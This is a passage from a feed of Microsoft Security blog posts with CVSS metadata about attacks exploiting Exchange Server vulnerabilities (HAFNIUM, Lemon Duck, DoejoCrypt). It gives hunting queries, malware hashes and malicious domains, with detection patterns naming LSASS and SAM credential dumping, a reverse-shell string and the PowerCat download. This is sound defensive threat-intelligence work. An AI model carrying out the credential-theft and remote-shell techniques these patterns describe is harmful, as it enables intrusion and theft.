InitiatingProcessCommandLine has \".bat\" and InitiatingProcessCommandLine has @\"C:\\Windows\\Temp\" \n| where ProcessCommandLine has \"reg save\" \n| project ProcessCommandLine, InitiatingProcessCommandLine, DeviceId, Timestamp`\n\nLook for evidence of batch script execution that leads to credential dumping\n\n`// Search for batch script execution, leading to credential dumping using rundll32 and the COM Services DLL, dsquery, and makecab use \nDeviceProcessEvents \n| where InitiatingProcessFileName =~ \"cmd.exe\" \n| where InitiatingProcessCommandLine has \".bat\" and InitiatingProcessCommandLine has @\"\\inetpub\\wwwroot\\aspnet_client\\\" \n| where InitiatingProcessParentFileName has \"w3wp\" \n| where FileName != \"conhost.exe\" \n| project FileName, ProcessCommandLine, InitiatingProcessCommandLine, DeviceId, Timestamp`\n\n**Suspicious files dropped under an aspnet_client folder**\n\nLook for dropped suspicious files like web shells and other components\n\n`// Search for suspicious files, including but not limited to batch scripts and web shells, dropped under the file path C:\\inetpub\\wwwroot\\aspnet_client\\ \nDeviceFileEvents \n| where InitiatingProcessFileName == \"w3wp.exe\" \n| where FolderPath has \"\\\\aspnet_client\\\\\" \n| where InitiatingProcessCommandLine contains \"MSExchange\" \n| project FileName, FolderPath, InitiatingProcessCommandLine, DeviceId, Timestamp`\n\n**Checking for persistence on systems that have been suspected as compromised**\n\nSearch for creations of new local accounts\n\n`DeviceProcessEvents \n| where FileName == \"net.exe\" \n| where ProcessCommandLine has_all (\"user\", \"add\") \n| project ProcessCommandLine, InitiatingProcessCommandLine, DeviceId, Timestamp`\n\n**Search for installation events that were used to download ScreenConnect for persistence **\n\nNote that this query may be noisy and is not necessarily indicative of malicious activity alone.\n\n`DeviceProcessEvents \n| where FileName =~ \"msiexec.exe\" \n| where ProcessCommandLine has @\"C:\\Windows\\Temp\\\" \n| parse-where kind=regex flags=i ProcessCommandLine with @\"C:\\\\Windows\\\\Temp\\\\\" filename:string @\".msi\" \n| project filename, ProcessCommandLine, InitiatingProcessCommandLine, DeviceId, Timestamp`\n\n**Hunting for credential theft **\n\nSearch for logon events related to services and scheduled tasks on devices that may be Exchange servers. The results of this query should be used to verify whether any of these users have privileged roles that might have enabled further persistence.\n\n`let devices = \nDeviceProcessEvents \n| where InitiatingProcessFileName == \"w3wp.exe\" and InitiatingProcessCommandLine contains \"MSExchange\" \n| distinct DeviceId; \n// \nDeviceLogonEvents \n| where DeviceId in (devices) \n| where LogonType in (\"Batch\", \"Service\") \n| project AccountName, AccountDomain, LogonType, DeviceId, Timestamp`\n\nSearch for WDigest registry key modification, which allows for the LSASS process to store plaintext passwords.\n\n`DeviceRegistryEvents \n| where RegistryValueName == \"UseLogonCredential\" \n| where RegistryKey has \"WDigest\" and RegistryValueData == \"1\" \n| project PreviousRegistryValueData, RegistryValueData, RegistryKey, RegistryValueName, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessParentFileName, DeviceId, Timestamp`\n\nSearch for the COM services DLL being executed by rundll32, which can be used to dump LSASS memory.\n\n`DeviceProcessEvents \n| where InitiatingProcessCommandLine has_all (\"rundll32.exe\", \"comsvcs.dll\") \n| project FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessParentFileName, DeviceId, Timestamp`\n\nSearch for Security Account Manager (SAM) or SECURITY databases being saved, from which credentials can later be extracted.\n\n`DeviceProcessEvents \n| where FileName == \"reg.exe\" \n| where ProcessCommandLine has \"save\" and ProcessCommandLine has_any (\"hklm\\\\security\", \"hklm\\\\sam\") \n| project InitiatingProcessFileName, InitiatingProcessCommandLine, FileName, ProcessCommandLine, InitiatingProcessParentFileName, DeviceId, Timestamp`\n\n## Indicators\n\nSelected indicators from attacks are included here, the threats may utilize files and network indicators not represented here.\n\n**Files (SHA-256)**\n\nThe following are file hashes for some of the web shells observed during attacks:\n\n * 201e4e9910dcdc8c4ffad84b60b328978db8848d265c0b9ba8473cf65dcd0c41\n * 2f0bc81c2ea269643cae307239124d1b6479847867b1adfe9ae712a1d5ef135e\n * 4edc7770464a14f54d17f36dc9d0fe854f68b346b27b35a6f5839adf1f13f8ea\n * 511df0e2df9bfa5521b588cc4bb5f8c5a321801b803394ebc493db1ef3c78fa1\n * 65149e036fff06026d80ac9ad4d156332822dc93142cf1a122b1841ec8de34b5\n * 811157f9c7003ba8d17b45eb3cf09bef2cecd2701cedb675274949296a6a183d\n * 8e90ed33c7ee82c0b64078ea36ec95f7420ba435c693b3b3dd728b494abf7dfc\n * a291305f181e24fe7194154b4cd355ccb039d5765709c80999e392efec69c90a\n * b75f163ca9b9240bf4b37ad92bc7556b40a17e27c2b8ed5c8991385fe07d17d0\n * dd29e8d47dde124c7d14e614e03ccaab3ecaa50e0a0bef985ed59e98928bc13d\n\nDoejoCrypt associated hashes:\n\n * 027119161d11ba87acc908a1d284b93a6bcafccc012e52ce390ecb9cd745bf27\n * 10bce0ff6597f347c3cca8363b7c81a8bff52d2ff81245cd1e66a6e11aeb25da\n * 2b9838da7edb0decd32b086e47a31e8f5733b5981ad8247a2f9508e232589bff\n * 904fbea2cd68383f32c5bc630d2227601dc52f94790fe7a6a7b6d44bfd904ff3\n * bf53b637683f9cbf92b0dd6c97742787adfbc12497811d458177fdeeae9ec748\n * e044d9f2d0f1260c3f4a543a1e67f33fcac265be114a1b135fd575b860d2b8c6\n * fdec933ca1dd1387d970eeea32ce5d1f87940dfb6a403ab5fc149813726cbd65\n * feb3e6d30ba573ba23f3bd1291ca173b7879706d1fe039c34d53a4fdcdf33ede\n\nLemon Duck associated hashes:\n\n * 0993cc228a74381773a3bb0aa36a736f5c41075fa3201bdef4215a8704e582fc\n * 3df23c003d62c35bd6da90df12826c1d3fdd94029bf52449ba3d89920110d5ec\n * 4f0b9c0482595eee6d9ece0705867b2aae9e4ff68210f32b7425caca763723b9\n * 56101ab0881a6a34513a949afb5a204cad06fd1034f37d6791f3ab31486ba56c\n * 69ce57932c3be3374e8843602df1c93e1af622fc53f3f1d9b0a75b66230a1e2e\n * 737752588f32e4c1d8d20231d7ec553a1bd4a0a090b06b2a1835efa08f9707c4\n * 893ddf0de722f345b675fd1ade93ee1de6f1cad034004f9165a696a4a4758c3e\n * 9cf63310788e97f6e08598309cbbf19960162123e344df017b066ca8fcbed719\n * 9f2fe33b1c7230ec583d7f6ad3135abcc41b5330fa5b468b1c998380d20916cd\n * a70931ebb1ce4f4e7d331141ad9eba8f16f98da1b079021eeba875aff4aeaa85\n * d8b5eaae03098bead91ff620656b9cfc569e5ac1befd0f55aee4cdb39e832b09\n * db093418921aae00187ae5dc6ed141c83614e6a4ec33b7bd5262b7be0e9df2cd\n * dc612f5c0b115b5a13bdb9e86f89c5bfe232e5eb76a07c3c0a6d949f80af89fd\n * f517526fc57eb33edb832920b1678d52ad1c5cf9c707859551fe065727587501\n * f8d388f502403f63a95c9879c806e6799efff609001701eed409a8d33e55da2f\n * fbeefca700f84373509fd729579ad7ea0dabdfe25848f44b2fbf61bf7f909df0\n\nPydomer associated hashes:\n\n * 7e07b6addf2f0d26eb17f4a1be1cba11ca8779b0677cedc30dbebef77ccba382\n * 866b1f5c5edd9f01c5ba84d02e94ae7c1f9b2196af380eed1917e8fc21acbbdc\n * 910fbfa8ef4ad7183c1b5bdd3c9fd1380e617ca0042b428873c48f71ddc857db\n * a387c3c5776ee1b61018eeb3408fa7fa7490915146078d65b95621315e8b4287\n * b9dbdf11da3630f464b8daace88e11c374a642e5082850e9f10a1b09d69ff04f\n * c25a5c14269c990c94a4a20443c4eb266318200e4d7927c163e0eaec4ede780a\n * c4aa94c73a50b2deca0401f97e4202337e522be3df629b3ef91e706488b64908\n\n**Network indicators**\n\nDomains abused by Lemon Duck:\n\n * down[.]sqlnetcat[.]com\n * t[.]sqlnetcat[.]com\n * t[.]netcatkit[.]com\n\nPydomer DGA network indicators:\n\n * uiiuui[.]com/search/*\n * yuuuuu43[.]com/vpn-service/*\n * yuuuuu44[.]com/vpn-service/*\n * yuuuuu46[.]com/search/*\n\nThe post [Analyzing attacks taking advantage of the Exchange Server vulnerabilities](<https://www.microsoft.com/security/blog/2021/03/25/analyzing-attacks-taking-advantage-of-the-exchange-server-vulnerabilities/>) appeared first on [Microsoft Security.", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-03-25T21:21:07", "type": "mssecure", "title": "Analyzing attacks taking advantage of the Exchange Server vulnerabilities", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-27065"], "modified": "2021-03-25T21:21:07", "id": "MSSECURE:2FB5327A309898BD59A467446C9C36DC", "href": "https://www.microsoft.com/security/blog/2021/03/25/analyzing-attacks-taking-advantage-of-the-exchange-server-vulnerabilities/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-03-10T12:09:16", "description": "_**Update [03/08/2021]**: Microsoft continues to see multiple actors taking advantage of unpatched systems to attack organizations with on-premises Exchange Server. To aid defenders in investigating these attacks where Microsoft security products and tooling may not be deployed, we are releasing a feed of observed indicators of compromise (IOCs). The feed of malware hashes and known malicious file paths observed in related attacks is available in both JSON and CSV formats at the below GitHub links. This information is being shared as TLP:WHITE._\n\n * [CSV format](<https://raw.githubusercontent.com/Azure/Azure-Sentinel/master/Sample%20Data/Feeds/MSTICIoCs-ExchangeServerVulnerabilitiesDisclosedMarch2021.csv>)\n * [JSON format](<https://raw.githubusercontent.com/Azure/Azure-Sentinel/master/Sample%20Data/Feeds/MSTICIoCs-ExchangeServerVulnerabilitiesDisclosedMarch2021.json>)\n\n_**Update [03/05/2021]**: Microsoft sees increased use of these vulnerabilities in attacks targeting unpatched systems by multiple malicious actors beyond HAFNIUM. To aid customers in investigating these attacks, __Microsoft Security Response Center (MSRC) has provided additional resources, including new mitigation guidance: [Microsoft Exchange Server Vulnerabilities Mitigations \u2013 March 2021](<https://msrc-blog.microsoft.com/2021/03/05/microsoft-exchange-server-vulnerabilities-mitigations-march-2021/>)_\n\n_**Update [03/04/2021]**: The Exchange Server team released a script for checking HAFNIUM indicators of compromise (IOCs). See Scan Exchange log files for indicators of compromise._\n\n \n\nMicrosoft has detected multiple 0-day exploits being used to attack on-premises versions of Microsoft Exchange Server in limited and targeted attacks. In the attacks observed, the threat actor used these vulnerabilities to access on-premises Exchange servers which enabled access to email accounts, and allowed installation of additional malware to facilitate long-term access to victim environments. Microsoft Threat Intelligence Center (MSTIC) attributes this campaign with high confidence to [HAFNIUM](<https://blogs.microsoft.com/on-the-issues/?p=64505>), a group assessed to be state-sponsored and operating out of China, based on observed victimology, tactics and procedures.\n\nThe vulnerabilities recently being exploited were CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065, all of which were addressed in today\u2019s [Microsoft Security Response Center (MSRC) release - Multiple Security Updates Released for Exchange Server](<https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server>). We strongly urge customers to update on-premises systems immediately. Exchange Online is not affected.\n\nWe are sharing this information with our customers and the security community to emphasize the critical nature of these vulnerabilities and the importance of patching all affected systems immediately to protect against these exploits and prevent future abuse across the ecosystem. This blog also continues our mission to shine a light on malicious actors and elevate awareness of the sophisticated tactics and techniques used to target our customers. The related IOCs, [Azure Sentinel](<https://azure.microsoft.com/en-us/services/azure-sentinel/>) advanced hunting queries, and [Microsoft Defender for Endpoint](<https://www.microsoft.com/en-us/microsoft-365/security/endpoint-defender>) product detections and queries shared in this blog will help SOCs proactively hunt for related activity in their environments and elevate any alerts for remediation.\n\nMicrosoft would like to thank our industry colleagues at Volexity and Dubex for reporting different parts of the attack chain and their collaboration in the investigation. Volexity has also [published a blog post](<https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities>) with their analysis. It is this level of proactive communication and intelligence sharing that allows the community to come together to get ahead of attacks before they spread and improve security for all.\n\n## Who is HAFNIUM?\n\nHAFNIUM primarily targets entities in the United States across a number of industry sectors, including infectious disease researchers, law firms, higher education institutions, defense contractors, policy think tanks, and NGOs.\n\nHAFNIUM has previously compromised victims by exploiting vulnerabilities in internet-facing servers, and has used legitimate open-source frameworks, like [Covenant](<https://github.com/cobbr/Covenant>), for command and control. Once they\u2019ve gained access to a victim network, HAFNIUM typically exfiltrates data to file sharing sites like [MEGA](<https://mega.nz/>).\n\nIn campaigns unrelated to these vulnerabilities, Microsoft has observed HAFNIUM interacting with victim Office 365 tenants. While they are often unsuccessful in compromising customer accounts, this reconnaissance activity helps the adversary identify more details about their targets\u2019 environments.\n\nHAFNIUM operates primarily from leased virtual private servers (VPS) in the United States.\n\n## Technical details\n\nMicrosoft is providing the following details to help our customers understand the techniques used by HAFNIUM to exploit these vulnerabilities and enable more effective defense against any future attacks against unpatched systems.\n\n[CVE-2021-26855](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855>) is a server-side request forgery (SSRF) vulnerability in Exchange which allowed the attacker to send arbitrary HTTP requests and authenticate as the Exchange server.\n\n[CVE-2021-26857](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26857>) is an insecure deserialization vulnerability in the Unified Messaging service. Insecure deserialization is where untrusted user-controllable data is deserialized by a program. Exploiting this vulnerability gave HAFNIUM the ability to run code as SYSTEM on the Exchange server. This requires administrator permission or another vulnerability to exploit.\n\n[CVE-2021-26858](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26858>) is a post-authentication arbitrary file write vulnerability in Exchange. If HAFNIUM could authenticate with the Exchange server then they could use this vulnerability to write a file to any path on the server. They could authenticate by exploiting the CVE-2021-26855 SSRF vulnerability or by compromising a legitimate admin\u2019s credentials.\n\n[CVE-2021-27065](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27065>) is a post-authentication arbitrary file write vulnerability in Exchange. If HAFNIUM could authenticate with the Exchange server then they could use this vulnerability to write a file to any path on the server. They could authenticate by exploiting the CVE-2021-26855 SSRF vulnerability or by compromising a legitimate admin\u2019s credentials.\n\n## Attack details\n\nAfter exploiting these vulnerabilities to gain initial access, HAFNIUM operators deployed web shells on the compromised server. Web shells potentially allow attackers to steal data and perform additional malicious actions that lead to further compromise. One example of a web shell deployed by HAFNIUM, written in ASP, is below:\n\n\n\nFollowing web shell deployment, HAFNIUM operators performed the following post-exploitation activity:\n\n * Using Procdump to dump the LSASS process memory:\n\n\n\n * Using 7-Zip to compress stolen data into ZIP files for exfiltration:\n\n\n\n * Adding and using Exchange PowerShell snap-ins to export mailbox data:\n\n\n\n * Using the [Nishang](<https://github.com/samratashok/nishang>) Invoke-PowerShellTcpOneLine reverse shell:\n\n\n\n * Downloading PowerCat from GitHub, then using it to open a connection to a remote server:\n\n\n\nHAFNIUM operators were also able to download the Exchange offline address book from compromised systems, which contains information about an organization and its users.\n\nOur blog, [Defending Exchange servers under attack](<https://www.microsoft.com/security/blog/2020/06/24/defending-exchange-servers-under-attack/>), offers advice for improving defenses against Exchange server compromise. Customers can also find additional guidance about web shell attacks in our blog [Web shell attacks continue to rise.](<https://www.microsoft.com/security/blog/2021/02/11/web-shell-attacks-continue-to-rise/>)\n\n## Can I determine if I have been compromised by this activity?\n\nThe below sections provide indicators of compromise (IOCs), detection guidance, and advanced hunting queries to help customers investigate this activity using Exchange server logs, Azure Sentinel, Microsoft Defender for Endpoint, and Microsoft 365 Defender. We encourage our customers to conduct investigations and implement proactive detections to identify possible prior campaigns and prevent future campaigns that may target their systems.\n\n### Check patch levels of Exchange Server\n\nThe Microsoft Exchange Server team has published a [blog post on these new Security Updates](<https://techcommunity.microsoft.com/t5/exchange-team-blog/released-march-2021-exchange-server-security-updates/ba-p/2175901>) providing a script to get a quick inventory of the patch-level status of on-premises Exchange servers and answer some basic questions around installation of these patches.\n\n### Scan Exchange log files for indicators of compromise\n\nThe Exchange Server team has created a script to run a check for HAFNIUM IOCs to address performance and memory concerns. That script is available here: <https://github.com/microsoft/CSS-Exchange/tree/main/Security>.\n\n * CVE-2021-26855 exploitation can be detected via the following Exchange HttpProxy logs: \n * These logs are located in the following directory: %PROGRAMFILES%\\Microsoft\\Exchange Server\\V15\\Logging\\HttpProxy\n * Exploitation can be identified by searching for log entries where the AuthenticatedUser is empty and the AnchorMailbox contains the pattern of ServerInfo~*/* \n * Here is an example PowerShell command to find these log entries:\n\n`Import-Csv -Path (Get-ChildItem -Recurse -Path \"$env:PROGRAMFILES\\Microsoft\\Exchange Server\\V15\\Logging\\HttpProxy\" -Filter '*.log').FullName | Where-Object { $_.AnchorMailbox -like 'ServerInfo~*/*' -or $_.BackEndCookie -like 'Server~*/*~*'} | select DateTime, AnchorMailbox, UrlStem, RoutingHint, ErrorCode, TargetServerVersion, BackEndCookie, GenericInfo, GenericErrors, UrlHost, Protocol, Method, RoutingType, AuthenticationType, ServerHostName, HttpStatus, BackEndStatus, UserAgent`\n\n * * If activity is detected, the logs specific to the application specified in the AnchorMailbox path can be used to help determine what actions were taken. \n * These logs are located in the %PROGRAMFILES%\\Microsoft\\Exchange Server\\V15\\Logging directory.\n * CVE-2021-26858 exploitation can be detected via the Exchange log files: \n * C:\\Program Files\\Microsoft\\Exchange Server\\V15\\Logging\\OABGeneratorLog\n * Files should only be downloaded to the %PROGRAMFILES%\\Microsoft\\Exchange Server\\V15\\ClientAccess\\OAB\\Temp directory \n * In case of exploitation, files are downloaded to other directories (UNC or local paths)\n * Windows command to search for potential exploitation:\n\n`findstr /snip /c:\"Download failed and temporary file\" \"%PROGRAMFILES%\\Microsoft\\Exchange Server\\V15\\Logging\\OABGeneratorLog\\*.log\"`\n\n * CVE-2021-26857 exploitation can be detected via the Windows Application event logs \n * Exploitation of this deserialization bug will create Application events with the following properties: \n * Source: MSExchange Unified Messaging\n * EntryType: Error\n * Event Message Contains: System.InvalidCastException\n * Following is PowerShell command to query the Application Event Log for these log entries:\n\n`Get-EventLog -LogName Application -Source \"MSExchange Unified Messaging\" -EntryType Error | Where-Object { $_.Message -like \"*System.InvalidCastException*\" }`\n\n * CVE-2021-27065 exploitation can be detected via the following Exchange log files: \n * C:\\Program Files\\Microsoft\\Exchange Server\\V15\\Logging\\ECP\\Server\n\nAll Set-<AppName>VirtualDirectory properties should never contain script. InternalUrl and ExternalUrl should only be valid Uris.\n\n * * Following is a PowerShell command to search for _potential_ exploitation:\n\n`Select-String -Path \"$env:PROGRAMFILES\\Microsoft\\Exchange Server\\V15\\Logging\\ECP\\Server\\*.log\" -Pattern 'Set-.+VirtualDirectory'`\n\n## Host IOCs\n\nMicrosoft is releasing a feed of observed indicators of compromise (IOCs) in related attacks. This feed is available in both [CSV](<https://raw.githubusercontent.com/Azure/Azure-Sentinel/master/Sample%20Data/Feeds/MSTICIoCs-ExchangeServerVulnerabilitiesDisclosedMarch2021.csv>) and [JSON](<https://raw.githubusercontent.com/Azure/Azure-Sentinel/master/Sample%20Data/Feeds/MSTICIoCs-ExchangeServerVulnerabilitiesDisclosedMarch2021.json>) formats. This information is being shared as TLP:WHITE.\n\n### Hashes\n\nWeb shell hashes\n\n * b75f163ca9b9240bf4b37ad92bc7556b40a17e27c2b8ed5c8991385fe07d17d0\n * 097549cf7d0f76f0d99edf8b2d91c60977fd6a96e4b8c3c94b0b1733dc026d3e\n * 2b6f1ebb2208e93ade4a6424555d6a8341fd6d9f60c25e44afe11008f5c1aad1\n * 65149e036fff06026d80ac9ad4d156332822dc93142cf1a122b1841ec8de34b5\n * 511df0e2df9bfa5521b588cc4bb5f8c5a321801b803394ebc493db1ef3c78fa1\n * 4edc7770464a14f54d17f36dc9d0fe854f68b346b27b35a6f5839adf1f13f8ea\n * 811157f9c7003ba8d17b45eb3cf09bef2cecd2701cedb675274949296a6a183d\n * 1631a90eb5395c4e19c7dbcbf611bbe6444ff312eb7937e286e4637cb9e72944\n\n### Paths\n\nWe observed web shells in the following paths:\n\n * _C:\\inetpub\\wwwroot\\aspnet_client\\_\n * _C:\\inetpub\\wwwroot\\aspnet_client\\system_web\\_\n * _In Microsoft Exchange Server installation paths such as:_\n * _%PROGRAMFILES%\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\_\n * _C:\\Exchange\\FrontEnd\\HttpProxy\\owa\\auth\\_\n\nThe web shells we detected had the following file names:\n\n * _web.aspx_\n * _help.aspx_\n * _document.aspx_\n * _errorEE.aspx_\n * _errorEEE.aspx_\n * _errorEW.aspx_\n * _errorFF.aspx_\n * _healthcheck.aspx_\n * _aspnet_www.aspx_\n * _aspnet_client.aspx_\n * _xx.aspx_\n * _shell.aspx_\n * _aspnet_iisstart.aspx_\n * _one.aspx_\n\n_ _Check for suspicious .zip, .rar, and .7z files in _C:\\ProgramData\\_, which may indicate possible data exfiltration.\n\nCustomers should monitor these paths for LSASS dumps:\n\n * _C:\\windows\\temp\\_\n * _C:\\root\\_\n\n### Tools\n\n * [Procdump](<https://docs.microsoft.com/en-us/sysinternals/downloads/procdump>)\n * [Nishang](<https://github.com/samratashok/nishang>)\n * [PowerCat](<https://github.com/besimorhino/powercat>)\n\nMany of the following detections are for post-breach techniques used by HAFNIUM. So while these help detect some of the specific current attacks that Microsoft has observed it remains very important to apply the recently released updates for CVE-2021-26855, CVE-2021-26857, CVE-2021-27065 and CVE-2021-26858.\n\n## Microsoft Defender Antivirus detections\n\nPlease note that some of these detections are generic detections and not unique to this campaign or these exploits.\n\n * Exploit:Script/Exmann.A!dha\n * Behavior:Win32/Exmann.A\n * Backdoor:ASP/SecChecker.A\n * Backdoor:JS/Webshell _(not unique)_\n * Trojan:JS/Chopper!dha _(not unique)_\n * Behavior:Win32/DumpLsass.A!attk _(not unique)_\n * Backdoor:HTML/TwoFaceVar.B _(not unique)_\n\n## Microsoft Defender for Endpoint detections\n\n * Suspicious Exchange UM process creation\n * Suspicious Exchange UM file creation\n * Possible web shell installation _(not unique)_\n * Process memory dump _(not unique)_\n\n## Azure Sentinel detections\n\n * [HAFNIUM Suspicious Exchange Request](<https://github.com/Azure/Azure-Sentinel/blob/master/Detections/W3CIISLog/HAFNIUMSuspiciousExchangeRequestPattern.yaml>)\n * [HAFNIUM UM Service writing suspicious file](<https://github.com/Azure/Azure-Sentinel/blob/master/Detections/MultipleDataSources/HAFNIUMUmServiceSuspiciousFile.yaml>)\n * [HAFNIUM New UM Service Child Process](<https://github.com/Azure/Azure-Sentinel/blob/master/Detections/SecurityEvent/HAFNIUMNewUMServiceChildProcess.yaml>)\n * [HAFNIUM Suspicious UM Service Errors](<https://github.com/Azure/Azure-Sentinel/blob/master/Detections/SecurityEvent/HAFNIUMSuspiciousIMServiceError.yaml>)\n * [HAFNIUM Suspicious File Downloads](<https://github.com/Azure/Azure-Sentinel/blob/master/Detections/htttp_proxy_oab_CL/HAFNIUMSuspiciousFileDownloads.yaml>)\n\n## Advanced hunting queries\n\nTo locate possible exploitation activity related to the contents of this blog, you can run the following [advanced hunting](<https://securitycenter.windows.com/hunting>) queries via Microsoft Defender for Endpoint and Azure Sentinel:\n\n### Microsoft Defender for Endpoint advanced hunting queries\n\nMicrosoft 365 Defender customers can find related hunting queries below or at this GitHub location: [https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/ ](<https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/>)\n\nAdditional queries and information are available via [_Threat Analytics portal_](<https://securitycenter.windows.com/threatanalytics3/>) for Microsoft Defender customers.\n\n**UMWorkerProcess.exe in Exchange creating abnormal content**\n\nLook for Microsoft Exchange Server\u2019s Unified Messaging service creating non-standard content on disk, which could indicate web shells or other malicious content, suggesting exploitation of CVE-2021-26858 vulnerability:\n\n`DeviceFileEvents | where InitiatingProcessFileName == \"UMWorkerProcess.exe\" | where FileName != \"CacheCleanup.bin\" | where FileName !endswith \".txt\" | where FileName !endswith \".LOG\" | where FileName !endswith \".cfg\" | where FileName != \"cleanup.bin\"`\n\n**UMWorkerProcess.exe spawning**\n\nLook for Microsoft Exchange Server\u2019s Unified Messaging service spawning abnormal subprocesses, suggesting exploitation of CVE-2021-26857 vulnerability:\n\n`DeviceProcessEvents | where InitiatingProcessFileName == \"UMWorkerProcess.exe\" | where FileName != \"wermgr.exe\" | where FileName != \"WerFault.exe\"`\n\nPlease note excessive spawning of wermgr.exe and WerFault.exe could be an indicator of compromise due to the service crashing during deserialization.\n\n### Azure Sentinel advanced hunting queries\n\nAzure Sentinel customers can find a Sentinel query containing these indicators in the Azure Sentinel Portal or at this GitHub location: <https://github.com/Azure/Azure-Sentinel/tree/master/Detections/MultipleDataSources/>.\n\nLook for Nishang Invoke-PowerShellTcpOneLine in Windows Event Logging:\n\n`SecurityEvent | where EventID == 4688 | where Process has_any (\"powershell.exe\", \"PowerShell_ISE.exe\") | where CommandLine has \"$client = New-Object System.Net.Sockets.TCPClient\"`\n\nLook for downloads of PowerCat in cmd and Powershell command line logging in Windows Event Logs:\n\n`SecurityEvent | where EventID == 4688 | where Process has_any (\"cmd.exe\", \"powershell.exe\", \"PowerShell_ISE.exe\") | where CommandLine has \"https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1\"`\n\nLook for Exchange PowerShell Snapin being loaded. This can be used to export mailbox data, subsequent command lines should be inspected to verify usage:\n\n`SecurityEvent | where EventID == 4688 | where Process has_any (\"cmd.exe\", \"powershell.exe\", \"PowerShell_ISE.exe\") | where isnotempty(CommandLine) | where CommandLine contains \"Add-PSSnapin Microsoft.Exchange.Powershell.Snapin\" | summarize FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated) by Computer, Account, CommandLine`\n\n \n\nThe post [HAFNIUM targeting Exchange Servers with 0-day exploits](<https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/>) appeared first on [Microsoft Security.", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-03-02T21:07:53", "type": "mssecure", "title": "HAFNIUM targeting Exchange Servers with 0-day exploits", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2021-03-02T21:07:53", "id": "MSSECURE:28641FE2F73292EB4B26994613CC882B", "href": "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-11-19T19:09:58", "description": "Over the past year, the Microsoft Threat Intelligence Center (MSTIC) has observed a gradual evolution of the tools, techniques, and procedures employed by malicious network operators based in Iran. At [CyberWarCon 2021](<https://www.cyberwarcon.com/>), MSTIC analysts presented their analysis of these trends in Iranian nation state actor activity during a session titled \u201c_The Iranian evolution: Observed changes in Iranian malicious network operations_\u201d. This blog is intended to summarize the content of that research and the topics covered in their presentation and demonstrate MSTIC\u2019s ongoing efforts to track these actors and protect customers from the related threats.\n\nMSTIC consistently tracks threat actor activity, including the groups discussed in this blog, and works across Microsoft Security products and services to build detections into our products that improve customer protections. We are sharing this blog today so that others in the community can also be aware of the latest techniques we have observed being used by Iranian actors.\n\nAs with any observed nation-state actor activity, Microsoft has directly notified customers that have been targeted or compromised, providing them with the information they need to help secure their accounts. Microsoft uses DEV-#### designations as a temporary name given to an unknown, emerging, or a developing cluster of threat activity, allowing MSTIC to track it as a unique set of information until we reach a high confidence about the origin or identity of the actor behind the activity. Once it meets the criteria, a DEV is converted to a named actor.\n\nThree notable trends in Iranian nation-state operators have emerged:\n\n * They are increasingly utilizing ransomware to either collect funds or disrupt their targets.\n * They are more patient and persistent while engaging with their targets.\n * While Iranian operators are more patient and persistent with their social engineering campaigns, they continue to employ aggressive brute force attacks on their targets.\n\n## Ransomware\n\nSince September 2020, MSTIC has observed six Iranian threat groups deploying ransomware to achieve their strategic objectives. These ransomware deployments were launched in waves every six to eight weeks on average.\n\n\n\n_Figure 1: Timeline of ransomware attacks by Iranian threat actors_\n\nIn one observed campaign, PHOSPHORUS targeted 